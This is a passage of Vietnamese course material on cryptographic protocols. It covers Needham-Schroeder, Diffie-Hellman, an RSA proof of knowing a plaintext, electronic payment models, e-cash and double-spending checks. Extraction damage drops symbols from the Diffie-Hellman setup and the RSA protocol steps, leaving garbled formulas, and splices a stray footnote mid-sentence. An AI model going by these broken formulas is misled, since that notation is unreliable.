Kẻ địch trong tấn công chủ động quả thật là nguy hiểm, đặc biệt là trong các protocol mà các bên khác nhau không nhất thiết là phải tin nhau. Hơn nữa phải nhớ rằng kẻ địch không phải chỉ có thể là những kẻ xa lạ bên ngoài mà nó có thể là một cá Tấn công trong trường hợp này, trong ngữ cảnh chung của Cryptography, thường được gọi là Ciphertext Only Attack nhân hợp pháp trong hệ thống, thậm chí ngay chính là người quản trị hệ thống. Ngoài ra còn có thể có nhiều cá nhân liên kết với nhau thành một nhóm kẻ địch và sức mạnh của chúng sẽ tăng lên gây nguy hiểm rất nhiều. Như đã biết, ở đây ta đã quy ước gọi những kẻ tấn công chủ động rất nguy hiểm này qua cái tên Mallory.

Một điều cũng có thể xảy ra là Mallory lại là chính một đối tác trong protocol.

## 10.8 Một số giao thức mật mã đã học

Giao thức Needham-Schroeder (về trao chuyển khóa sử dụng trung gian đáng tin cậy) là một giao thức mật mã điển hình. Giao thức này nhằm giải quyết một bài toán cơ bản trong truyền tin bảo mật dùng mật mã khóa đối xứng; đó là làm sao để tạo được một bí mật (khóa đối xứng) chia sẻ giữa hai bên qua một mạng truyền thông công cộng. Không những giao thức này giúp thiết lập nên một kênh bảo mật dùng khóa đối xứng, mà nó còn xác lập cơ chế xác thực cần thiết giữa các bên liên quan, Alice có thể xác thực được sự có mặt của Cathy, Bob có thể xác thực được sự có mặt của Alice. Chính nhờ thế mà giao thức này có thể chống lại được tấn công phát lại (replay attack), một loại tấn công phổ biến nhất.

## 10.9 Giao thức thống nhất khoá Diffie-Hellman

Đây là một giao thức rất quan trọng, được sử dụng phổ biến trong hầu hết các gói giải pháp bảo mật phổ biến trên Internet (TLS, IPSEC). Mục đích của giao thức này là nhằm tạo ra một khóa chung giữa 2 bên A và B thông qua mạng công cộng mà không sử dụng người thứ ba (hãy so sánh với Needham-Schroeder giới thiệu ở chương 5). Giao thức này được xây dựng như một hệ khóa công khai dù không phải là một hệ mật mã công khai. Nó được đề xuất trong bài báo nổi tiếng của Diffie và Hellman cùng với ý tưởng về xây dựng hệ thống khóa côn khai (“New direction in Cryptography”, 1976). Tuy nhiên một nhà bác học làm trong cơ quan tình báo Anh (Williamson) sau đó cũng đã lên tiếng nói rằng ông đã nghĩ ra giao thức này từ trước nhưng không thể công bố mà phải giữ bí mật trong nội bộ. Phần trình bày sau đây sẽ nêu ngắn gọn tư tưởng của giải pháp và ví dụ minh họa số cho thuật toán.

Để thiết lập hệ thống, A và B thống nhất chọn một số nguyên tố p, một phần tử nguyên thuỷ (primitive element) 1<<p, tức là:

{0, 1, 2, ..., p-1} = {1,2,3 ..., p-1}

Trong một hệ thống nhiều người sử dụng, các giá trị  và p có thể coi là tham số hệ thống mà tất cả mọi người đều biết. Đối với bất kỳ số nguyên tố nào cũng có nhiều phần tử nguyên thủy, hay còn gọi là phần tử sinh ra Zp, và nhiều phần từ khác (thuộc vào Zp) mà không phải là nguyên thủy. Tuy nhiên ta không khảo sát tính chất toán học này ở đây. Hai bên A và B sau đó sẽ lựa chọn các khóa bí mật (XA, XB) cho mình và thiết lập các giá trị có thể gọi là khóa công khai tương ứng (YA, YB).

## 10.10 Giao thức PPP chứng minh sở hữu một tin mật trong RSA

Giả sử (n,e) là một hệ khóa công khai RSA của một tổ chức nào đó. Giả sử Peggie được sở hữu và muốn chứng minh rằng cô ta biết một bản tin (plaintext) *m* là đã bị mã hóa thành bản mã (ciphertext) *c* trong hệ RSA này, tức là *c*= *m*e (mod *n*). Cô ta muốn chứng minh sự sở hữu này với Viktor mà không thể để lộ nó (chẳng hạn như trong một vụ bán thông tin bí mật), thì một giao thức như sau có thể tiến hành:

1. P  V: y=*re* với *r* R Zn

* 1. V  P: *b* R{0,1}.
  2. P  V: *z* = *r*\**mb* (tức là *z*=*r* nếu *b*=0 hoặc *z=rm* nếu *b*=1)
  3. V kiểm tra kết quả như sau: nếu anh ta đã gửi *b*=0 ở bước 2 thì anh ta kiểm tra xem có thực *ze=y*, nếu anh ta đã gửi đi *b=1* ở bước hai thì anh ta kiểm tra xem *ze=y\*c* có đúng không.

R

Ký hiệu S có nghĩa là chọn (sinh) 1 giá trị ngẫu nhiên từ tập S cho trước (khả năng lựa chọn mọi phần tử của S là như nhau).

Bốn bước này có thể lặp đi lặp lại rất nhiều lần và Victor có thể thay đổi giữa gửi *b*=0 và *b*=1 ở bước thứ hai một cách ngẫu nhiên tùy ý để thật yên tâm rằng thực sự Peggie là chủ nhân của thông tin *m*.

## 10.11 Tổng quan về thanh toán điện tử

Về mục đích, thanh toán điện tử là hệ thống cho phép *các bên tham gia tiến hành mua bán được,* tương tự như các phương thức thanh toán đã có. Tuy nhiên về cách giao dịch thì hoàn toàn mới, người sử dụng tiến hành *xử lý thanh toán bằng các phương pháp mới thông qua các khâu được thực hiện hoàn toàn trên máy tính*. Tóm lại, mặc dù bản chất của các mô hình thanh toán điện tử cũng là mô phỏng lại những mô hình mua bán truyền thống, nhưng từ các thủ tục giao dịch, thao tác xử lý dữ liệu rồi thực hiện chuyển tiền, tất cả đều thực hiện thông qua máy tính được nối mạng bằng các giao thức riêng chuyên dụng.

Trước hết về mặt mô hình, một phương thức thanh toán nói chung là một mô tả hoạt động của một hệ thống (trong thanh toán điện tử, đó là một hệ thống xử lý phân tán) có nhiều bên tham gia, trong đó có hai bên cơ bản là bên mua (người trả tiền) và bên bán (người được trả tiền). Trong thanh toán điện tử các bên được đại diện bởi các máy tính của mình nối với nhau qua mạng máy tính, sử dụng chúng để thực hiện các *giao thức thanh toán* (payment protocol).

Hệ thống còn có thể có sự tham gia của các tổ chức tài chính như là các ngân hàng đại diện của mỗi bên. Trong một số hệ thống thanh toán lại sử dụng một thực thể khác đóng vai trò là nhà môi giới, đảm nhiệm việc phát hành *những hình thức của tiền* (một vật thể nào đó mang giá trị trao đổi thanh toán) thường được gọi là *đồng tiền số* (digital coin), *tiền điện tử* (electronic cash) hoặc *séc điện tử* (electronic cheque) và đổi lại thành tiền thật cho các bên tham gia.

Đặc trưng của mô hình đang xét là các bên giao dịch với nhau để chuyển tiền, thay vì tiền mặt, các bên trong thanh toán điện tử sẽ trao đổi với nhau các chứng từ được số hoá (thành những chuỗi bits là hình thức duy nhất máy tính có thể dùng được). Bản chất là bên được thanh toán có thể thông qua nhà băng của mình (và tất nhiên là phải liên hệ đến nhà băng của bên thanh toán) để chuyển tiền vào tài khoản của mình. Các quá trình này sẽ được phản ánh trong các giao thức thanh toán trong mỗi hệ thống, tức là tập hợp thứ tự các bước truyền gửi thông tin và xử lý số liệu giữa các bên để đạt được mục đích là chuyển đầy đủ các thông tin chứng từ thanh toán và đảm bảo an toàn công bằng cho mỗi bên theo yêu cầu tường minh ban đầu.

Nếu như lấy sự chênh lệch khác biệt giữa hai thời điểm (1) thời điểm bên trả tiền trao chứng từ ủy nhiệm cho bên được trả và (2) thời điểm bên trả tiền thực sự xuất tiền khỏi tài khoản của mình – làm tiêu chí phân biệt thì các phương thức thanh toán điện tử có thể được phân loại theo các mô hình chính như sau: *Mô hình trả sau* (khi thời điểm (1) xảy ra trước thời điểm (2)) và *Mô hình trả trước* (khi thời điểm (2) xảy ra trước thời điểm (1)).

## 10.12 Mô hình trả sau (Pay - now / Pay - later)

Với mô hình này, sự kiện tiền thực sự được rút ra khỏi tài khoản bên mua để chuyển sang bên bán là xảy ra ngay trong (paynow) hoặc sau (paylater) giao dịch mua bán. Hoạt động của hệ thống dựa trên nguyên tắc tín dụng (credit), trong đó bên mua sẽ trả cho bên bán một chứng từ tín dụng (credit crendential) nào đó có tác dụng giống như cheque. Người bán có hai cách lựa chọn: chấp nhận giá trị thay thế của tín dụng đó và chỉ liên lạc chuyển khoản với ngân hàng của mình sau này (pay-later), hay là, liên lạc với ngân hàng của mình trong quá trình mua bán, việc chuyển khoản xảy ra ngay trong giao dịch (pay-now).

Với pha chuyển khoản (clearing process) thì người được thanh toán sẽ nêu yêu cầu chuyển khoản với nhà băng đại diện (acquirer) để nó liên lạc với ngân hàng đại diện của người thanh toán, thực hiện kiểm tra / chấp nhận chứng từ tín dụng, khi đó việc chuyển tiền thực sự (actual fund transfer) sẽ diễn ra giữa tài khoản của người thanh toán và được thanh toán. Kết thúc quá trình này, nhà băng đại diện của bên thanh toán sẽ gửi một thông báo lưu ý sự kiện chuyển khoản đó cho khách hàng của mình (notification). Mô hình thanh toán theo kiểu trả sau mô phỏng phương thức thanh toán bằng séc nên thường được gọi là mô hình phỏng séc (cheque-like model).

Tất nhiên pha chuyển tiền thực sự này nếu được làm ngay trong giao dịch thì an toàn nhất (pay-now), tuy nhiên như vậy tốc độ xử lý giao dịch sẽ chậm, chi phí truyền tin và xử lý trực tuyến (on-line) trên các máy chủ ở các nhà băng sẽ cao, vì vậy mô hình pay-later vẫn được ưu tiên sử dụng khi số tiền thanh toán là không lớn.

Chứng từ tín dụng được đề cập ở mô hình này, do người thanh toán tạo ra, dựa trên những thông tin riêng về tên tuổi, số tài khoản và có thể là cả tình trạng tài khoản (khả năng thanh toán được) của người thanh toán. Một ví dụ điển hình về mô hình này là các hệ thống thanh toán bằng thẻ tín dụng đang được sử dụng rộng rãi (credit card system). Nếu như người thanh toán cố tình lừa dối, thực hiện thanh toán khi không có khả năng thì anh ta sẽ bị các ngân hàng loại ra, doanh nghiệp của anh ta sẽ không thể tồn tại lâu dài. Hệ thống đó được đảm bảo bằng việc mỗi khách hàng phải chăm lo cho uy tín xã hội của mình.

## 10.13 Mô hình trả trước.

Trong mô hình này, khách hàng (customer) sẽ liên hệ với ngân hàng (hay một công ty môi giới - broker) để có được một chứng từ do nhà băng phát hành (chứng từ hay đồng tiền số này mang dấu ấn (token) của nhà băng), được đảm bảo bởi nhà băng và do đó có thể dùng để thanh toán ở bất cứ nơi nào đã có xác lập hệ thống thanh toán với nhà băng này. Trong pha giao dịch này (withdrawal), để đổi lấy chứng từ nhà băng, tài khoản của khách hàng sẽ bị triết khấu đi tương ứng với giá trị của chứng từ đó. Như vậy khách hàng đã thực sự trả tiền trước khi có thể sử dụng được chứng từ này để mua hàng và thanh toán ở một nơi nào đó. Vì thế mô hình này được gọi là mô hình trả trước (prepaid). Chứng từ ở đây không phải do khách hàng tạo ra, không phải để dành cho một vụ mua bán cụ thể, mà do nhà băng phát hành có thể dùng vào mọi mục đích thanh toán, vì thế nó giống như tiền mặt và do đó mô hình còn được gọi là mô hình phỏng tiền mặt (cash-like model).

Khi khách hàng đến một cửa hàng nào đó (shop) mua hàng và thanh toán bằng chứng từ tiền mặt này, cửa hàng sẽ tiến hành kiểm tra tính hợp lệ của chứng từ dựa trên những thông tin đặc biệt do nhà băng tạo trên đó. Sau đó cửa hàng có thể chọn một trong hai cách: (1) liên hệ với nhà băng để chuyển vào tài khoản của mình ngay trước khi chấp nhận giao hàng (deposit-now); (2) chấp nhận và chỉ liên hệ chuyển tiền sau vào thời gian thích hợp (deposit later). Một trường hợp riêng phổ biến của mô hình phỏng tiền mặt là *mô hình tiền mặt điện tử hay tiền điện tử* (electronic cash)

## 10.14 Mô hình, các bên tham gia và giao thức tiền mặt điện tử (Electronic Cash)

**Hạ tầng thanh toán.** Giống như tiền mặt, tiền điện tử cũng có giá trị tiêu dùng được xã hội công nhận. Để tham gia vào hệ thống thanh toán điện tử người sử dụng phải dựa trên một hạ tầng thanh toán đã có, bởi anh ta phải trả tiền để mua tiền điện tử như bất kỳ một mặt hàng hay sử dụng dịch vụ nào khác. Vì vậy, ta có thể coi người sử dụng đã đăng ký tài khoản trong ngân hàng, nơi có nhiệm vụ phát hành tiền điện tử.

**Giao thức rút tiền.** Để có được và tiến hành giao dịch bằng tiền điện tử, người sử dụng phải rút tiền từ tài khoản của mình trong ngân hàng dưới dạng tiền điện tử. Quá trình rút tiền này thực hiện bằng **giao thức rút tiền** với các bên tham gia là ngân hàng và người sử dụng.

**Giao thức thanh toán.** Người sử dụng dùng số tiền điện tử này để thanh toán trong các giao dịch với các nhà cung cấp (chấp nhận thanh toán bằng tiền điện tử do ngân hàng của người sử dụng phát hành) qua **giao thức thanh toán**.

**Giao thức gửi tiền.** Cuối cùng, kết thúc vòng luân chuyển của đồng tiền số, nhà cung cấp gửi số tiền nhận được từ người sử dụng vào tài khoản của mình. Việc gửi tiền vào tài khoản được thực hiện theo định kỳ (ví dụ: cuối ngày). Trong mô hình thanh toán, quá trình gửi tiền trên được gọi là **giao thức gửi tiền**. Tuỳ theo từng mô hình cụ thể mà đồng tiền do nhà cung cấp sở hữu có thể có giá trị thanh toán tiếp hay không, với mô hình không chấp nhận thanh toán tiếp, nhà cung cấp buộc phải gửi những đồng tiền này vào tài khoản của mình trước thời điểm hết hạn sử dụng của chúng.

## 10.15 Gian lận double-spending tiền mặt điện tử (Electronic Cash)

**Gian lận.** Khác với các phương tiện thanh toán khác (tiền mặt, séc), người ta dễ dàng sao chép tiền điện tử, bởi chúng chỉ là các giá trị số (bits) thông thường trong máy tính. Kẻ gian lận có thể lợi dụng đặc điểm này bằng cách cố tình sử dụng các phiên bản của cùng một đồng tiền điện tử trong các giao dịch thanh toán khác nhau, hiện tượng gian lận này thường được gọi là gian lận double-spending. Vì vậy, trong quá trình thanh toán người ta luôn cần có thủ tục kiểm tra tính hợp lệ của đồng tiền số, bao gồm cấu trúc đồng tiền và hiệu lực thanh toán hiện thời của chúng (đồng tiền đã được tiêu lần nào chưa).

**Thủ tục chống gian lận.** Để ngăn chặn gian lận double-spending, trong hệ thống luôn có *thủ tục kiểm tra tính hợp lệ của đồng tiền số*, thủ tục này chia làm hai pha: *pha kiểm tra cấu trúc của đồng tiền* và *pha kiểm tra số lần tiêu của đồng tiền*, thường được đặt tương ứng trong giao thức thanh toán và giao thức gửi tiền. Trong mô hình thanh toán, thủ tục kiểm tra trên mang tên *thủ tục chống gian lận*. Từ việc phát hiện ra sự gian lận, ngân hàng sẽ quyết định chấp nhận giá trị chỉ một trong các đồng tiền đó và hơn nữa tiến hành các biện pháp xử lý khác nếu cần, ví dụ nêu định danh của kẻ gian lận trên phương tiện công cộng, đưa kẻ gian lận vào sổ theo dõi, hoặc tước bỏ khả năng thanh toán của chúng.

**Hình thức và ý nghĩa của đồng tiền số.** Đồng tiền số bắt đầu vòng đời của mình từ giao thức rút tiền. Sau giao dịch này, người sử dụng sở hữu một số đồng tiền số và hệ thống đảm bảo cho họ giá trị thanh toán của các đồng tiền số này. Giá trị thanh toán của các đồng tiền số thể hiện ở chỗ người sử dụng sẽ thuyết phục được người bán chấp nhận chúng và thông thường chữ ký của ngân hàng trên đồng tiền số là cơ sở để người bán chấp nhận. Kết thúc giao thức thanh toán, nhà cung cấp nhận được các đồng tiền số của người sử dụng và tin tưởng rằng họ có thể gửi các đồng tiền này vào tài khoản của họ trong ngân hàng bằng giao thức gửi tiền. Tóm lại, tại từng bên tham gia, đồng tiền số có những ý nghĩa khác nhau và vì vậy khác với tiền mặt, hình thức và cấu trúc của đồng tiền mà nhà cung cấp nhận được so với đồng tiền trong ví (điện tử) người sử dụng không nhất thiết phải giống nhau.

## 10.16 Kiểm tra trực tuyến (on-line) và ngoại tuyến (off-line) tiền mặt điện tử (Electronic Cash)

**Kiểm tra tính hợp lệ của đồng tiền số.** Trong giao thức thanh toán của mô hình tiền điện tử, nhà cung cấp cần kiểm tra tính hợp lệ của đồng tiền số nhận được từ người sử dụng trước khi trả lại hàng. Việc kiểm tra này có thể cần sự có mặt của ngân hàng hoặc không. Nếu sự tham gia của ngân hàng ở đây là cần thiết (kiểm tra trực tuyến) thì ngân hàng sẽ trở thành điểm xử lý tập trung. Điều này có nguy cơ dẫn tới bùng nổ chi phí tính toán và truyền thông của ngân hàng, hậu quả là có thể có những giao dịch buộc phải huỷ bỏ do thời gian chờ đợi quá lâu (time-out) hay người mua phải chịu một phí tổn nào đó cho việc thực hiện giao dịch. Bởi vậy, thủ tục kiểm tra tính hợp lệ của đồng tiền số thường được chia làm hai pha và nhà cung cấp chỉ có trách nhiệm kiểm tra cấu trúc của đồng tiền số còn pha kiểm tra số lần tiêu của đồng tiền do ngân hàng đảm nhiệm được đặt ở chế độ ngoại tuyến.

**Kiểm tra trực tuyến và ngoại tuyến.** Khả năng kiểm tra ngoại tuyến của ngân hàng giúp cho hệ thống khỏi bị quá tải khi số phiên giao dịch xảy ra đồng thời quá lớn. Tuy nhiên, đối với các phiên giao dịch có giá trị lớn và bên bán (bên mua) không chấp nhận mạo hiểm (trong thanh toán điện tử bao giờ một trong hai bên tham gia có khoảng thời gian chiếm ưu thế tạm thời, đó là khi bên mua đã nhận được mặt hàng mà chưa trả tiền hoặc bên bán đã nhận được tiền mà chưa đưa hàng), hệ thống cần hỗ trợ khả năng kiểm tra trực tuyến, tránh gian lận từ phía người mua (người bán).